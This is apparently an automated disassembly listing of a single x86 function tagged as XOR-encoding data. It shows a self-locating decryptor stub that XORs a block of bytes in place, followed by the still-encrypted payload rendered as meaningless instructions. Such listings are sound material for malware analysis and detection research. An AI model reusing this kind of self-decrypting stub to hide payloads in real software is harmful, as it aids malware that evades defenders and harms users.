Function at 0x110fc52c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x110fc536
pushal
call 0x110fc53c
pop ebp
sub ebp, 0x10
sub ebp, 0x10fc52c
mov al, byte [esp + 0x28]
cmp al, 1
je 0x110fc560
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x110fc569
mov eax, 0x10fc52c
add eax, ebp
add eax, 0x63
mov ecx, 0x5a4
mov edx, 0x6f6d3e71
xor byte [eax], dl
inc eax
dec ecx
jne 0x110fc580
jmp 0x110fc593
cli
mov esp, 0x714df8fa
jno 0x110fc60c
invalid
jno 0x110fc67f
sbb ecx, edi
fst qword [eax + 0x71]
sbb ebp, edx
imul ebx, dword [edi + 0x555d7071], 0x71749920
jno 0x110fc692
cwde
dec esi
jae 0x110fc696
jno 0x110fc697
jno 0x110fc64b
and al, 0xfa
cli
popfd
mov es, word [edi*2 - 0x6686fb72]
cdq
add esi, dword [ecx + 0x71]
jno 0x110fc62f
int3
jns 0x110fc6a9
jno 0x110fc6ab
inc edx
mov eax, 0xb86183f0
invalid
mov eax, 0xa342befe
cdq
cdq
je 0x110fc687
jle 0x110fc645
aas
jno 0x110fc6c4
jno 0x110fc6d3
stc
cmp dword [ecx + 0x71], esi
jno 0x110fc672
cli
insd dword es:[edi], dx
dec eax
int1
mov bl, byte [ecx + 0x716bf57e]
jno 0x110fc6d8
int1
mov bl, byte [eax + 0x7160f57e]
jno 0x110fc6e1
jno 0x110fc688
pop ss
invalid
mov cl, byte [esi + 0x64f57e54]
jno 0x110fc6eb
jno 0x110fc6ac
xor byte [eax - 0x71717143], bl
pop eax
cwde
mov ebp, 0x588e8e8e
mov cs, word [esi + 0x70483d58]
mov al, 0x74
cmp eax, 0xb0f27048
je 0x110fc67b
cdq
cdq
jne 0x110fc624
int3
mov cs, word [esi + 0x4825588e]
pop eax
and eax, 0xb0f27348
dec eax
jae 0x110fc687
mov al, 0x77
ja 0x110fc68a
wait
wait
jne 0x110fc68d
cdq
je 0x110fc636
fimul dword [esi - 0x4cd37172]
jge 0x110fc717
and al, 0xfa
popfd
daa
and al, 0xfa
and al, 0xfa
cli
add al, 0x7d
cli
or al, 0x79
invalid
jno 0x110fc735
jno 0x110fc690
jae 0x110fc739
jno 0x110fc73b
jae 0x110fc66f
jle 0x110fc6c2
je 0x110fc741
jno 0x110fc743
sti
aaa
arpl word [ebx - 0x71560d82], sp
mov cs, word [esi - 0xb815c8d]
test eax, 0x738e8e8e
mov dword [0x7174f47e], eax
je 0x110fc754
jno 0x110fc756
sti
aaa
arpl word [ebx + 0x711bf27e], sp
sbb esi, dword [ecx + 0x71]
jno 0x110fc733
jno 0x110fc761
inc edx
mov cl, 0x73
mov dword [0x7174f47e], eax
jno 0x110fc76b
sti
aaa
arpl word [ebx + 0x705bf27e], sp
jno 0x110fc776
jno 0x110fc779
jae 0x110fc6aa
mov dword [0x7174f47e], eax
jle 0x110fc6fd
je 0x110fc77c
jno 0x110fc77e
jno 0x110fc709
sti
aaa
arpl word [ebx - 0x5c8c4e9e], sp
jle 0x110fc70c
hlt
je 0x110fc78b
jno 0x110fc78d
jno 0x110fc718
sti
aaa
arpl word [ebx - 0x5c8c4e9e], sp
jle 0x110fc71b
je 0x110fc79a
jno 0x110fc79c
jno 0x110fc727
sti
aaa
arpl word [ebx - 0x5c8c4e9e], sp
jle 0x110fc72a
mov dword [0x7174f47e], eax
hlt
je 0x110fc7a9
jno 0x110fc7ab
jno 0x110fc736
sti
aaa
arpl word [ebx - 0xa814e9e], sp
jle 0x110fc738
ja 0x110fc7b6
jno 0x110fc7b8
cli
scasb al, byte es:[edi]
pop edx
test eax, 0x76f972fb
retf 0x7173
jbe 0x110fc786
retf 0x7173
jno 0x110fc6ee
add dword [esi + 0x70c98e8e], ecx
jno 0x110fc7cf
mov cs, word [esi + 0x7170c98e]
jno 0x110fc7d0
jno 0x110fc7d3
jae 0x110fc704
mov dword [0x7174f47e], eax
jle 0x110fc757
je 0x110fc7d6
jno 0x110fc7d8
jno 0x110fc763
sti
aaa
arpl word [ebx - 0x5c8c4e9e], sp
mov dword [0xa373b162], eax
jle 0x110fc766
je 0x110fc7e5
jno 0x110fc7e7
jno 0x110fc772
sti
aaa
arpl word [ebx - 0x71500c82], sp
mov cs, word [esi + 0x70cab25a]
jno 0x110fc7f8
repe scasd eax, dword es:[edi]
mov cs, word [esi - 0x354da572]
jo 0x110fc7f7
jno 0x110fc7f9
jno 0x110fc807
jle 0x110fc77e
hlt
inc ebp
jno 0x110fc7fe
jno 0x110fc757
jo 0x110fc802
jno 0x110fc804
jae 0x110fc738
jle 0x110fc78b
je 0x110fc80a
jno 0x110fc80c
jno 0x110fc797
sti
aaa
arpl word [ebx - 0x5c8c479e], sp
jle 0x110fc79a
je 0x110fc819
jno 0x110fc81b
jno 0x110fc7a6
sti
aaa
arpl word [ebx - 0x71500c82], sp
mov cs, word [esi + 0x5a86fa27]
cli
xchg byte [edx - 0x7c], bl
adc ch, 0x2f
cwde
jns 0x110fc74e
pop edx
test byte [edx + 0x79982fd5], al
mov cs, word [esi - 0x6e4fc672]
jns 0x110fc7c2
mov cs, word [esi + 0x7991b039]
sti
cmp dword [eax + 0x77fb7991], esi
ja 0x110fc800
aaa
cli
cdq
enter 0x7170, 0x71
jno 0x110fc844
jae 0x110fc775
mov dword [0x7174f47e], eax
jle 0x110fc7c8
hlt
je 0x110fc847
jno 0x110fc849
jno 0x110fc7d4
sti
aaa
arpl word [ebx - 0x5c8c479e], sp
jle 0x110fc7d7
je 0x110fc856
jno 0x110fc858
sti
aaa
aaa
arpl word [ebx - 0x71500c82], sp
mov cs, word [esi + 0xc7189f0]
jno 0x110fc869
or al, 0x71
jno 0x110fc7e9
invalid
test al, 0x8e
mov cs, word [esi + 0x7189f08e]
invalid
jno 0x110fc876
je 0x110fc874
jno 0x110fc875
jno 0x110fc7f5
invalid
test al, 0x8e
mov cs, word [esi - 0xe760f72]
invalid
int1
jno 0x110fc880
jno 0x110fc801
mov al, byte [0x71717171]
invalid
jno 0x110fc88c
jno 0x110fc80d
mov al, byte [0x71717171]
daa
cli
xchg byte [edx - 0x7f], bl
adc ch, 0x2f
cwde
ljmp 0x3777
cdq
daa
cli
xchg byte [edx - 0x7f], bl
adc ch, 0x2f
add dword [edx + 0x70ca2fd5], 0x98717171
add cl, byte [edi + 0x5a2c8e8e]
das
retf 0x7170
invalid
mov gs, word [edx + ebx*2]
pop edx
or al, 0x79
cli
mov dh, 0x2e
das
cli
xchg esp, eax
sub al, 0xb3
jns 0x110fc8d6
cli
inc ebp
push ebp
cld
adc eax, 0x75987555
jno 0x110fc8e2
jno 0x110fc874
fst st(7)
xlatb
adc eax, 0x7eb45dc9
leave
pop ebp
mov ah, 0x7e
jo 0x110fc8ee
mov ah, 0xf0
mov cl, 1
jb 0x110fc8f3
jno 0x110fc84c
out 0x73, al
jno 0x110fc8f9
jno 0x110fc854
retf
jg 0x110fc8fd
cmpsd dword [esi], dword es:[edi]
inc ecx
popal
xor dword [eax], edi
jle 0x110fc887
xchg dword [esi + 0x75988e8e], ecx
jno 0x110fc90c
jno 0x110fc8e7
invalid
jg 0x110fc947
jg 0x110fc93a
sti
cmp dword [edi + 0x7f], edi
jg 0x110fc94c
test eax, 0x7f77b8fe
jg 0x110fc956
jg 0x110fc8d6
invalid
xchg esi, eax
ja 0x110fc95a
jg 0x110fc95c
inc byte [esi + 0x7f7f7f7f]
jo 0x110fc8e0
jg 0x110fc961
jg 0x110fc954
sti
stosd dword es:[edi], eax
add byte [eax + 0x78f41980], 0xbe
xchg edi, eax
add byte [eax - 0x41870be7], 0x97
mov esi, 0x9ffc7397
jae 0x110fc8ec
lahf
jo 0x110fc8f1
xchg dword [edi + edi*2 + 0x7f], edi
jg 0x110fc969
cli
jb 0x110fc97b
jg 0x110fc97d
jg 0x110fc918
sbb esp, esi
hlt
js 0x110fc900
lahf
xor byte [eax + 0x7f], 0x7f
jl 0x110fc8c6
jle 0x110fc972
cld
cld
mov eax, 0x80b7967d
add byte [eax + 0x7f7f7b96], 0x7f
jg 0x110fc999
inc esi
and esp, dword [edx + 0x22]
invalid
dec edi
outsd dx, dword [esi]
aas
jo 0x110fc935
cli
mov dword [eax + 0x7b968080], eax
jg 0x110fc9c2
jg 0x110fc937
and byte gs:[esi + 0x57], dh
jbe 0x110fc9a0
daa
pop ebx
cmpsd dword [esi], dword es:[edi]
in al, dx
push edi
daa
pop ebx
insb byte es:[edi], dx
out 0x50, eax
rcl al, 1
rcl bl, 1
push ebx
rcl al, 1
shr dword [esi], cl
push ebx
scasd eax, dword es:[edi]
invalid
fist word [edi - 0x30]
rcl al, 1
pop ebx
xchg edi, eax
rcr byte [ebx - 0x69], 1
invalid
inc ebp
xor al, 0x81
cmp eax, 0xd02851d0
rcl al, 1
rcr bh, 1
push ebp
invalid
rcl al, 1
fist word [ebp - 0x22]
rcl al, 1
rol byte [edi + 0x5b], 1
pop ebx
test al, 0xdc
inc edi
rcl dword [esi], cl
fadd qword [edi - 0x2d]
push ss
sub byte [edi], 0x45
and byte [ecx - 0x50ac2fc3], al
invalid
rcl al, 1
rcl byte [ebx - 0x51]
rcl al, 0xdf
push esp
mov cl, 0xd0
fist word [ecx + esi*4 - 0x30]
rcl al, 1
pop ebp
mov ah, 0xf4
sub al, 0x59
cld
hlt
pop ebx
popfd
rcr byte [ebp - 0x4c], 1
hlt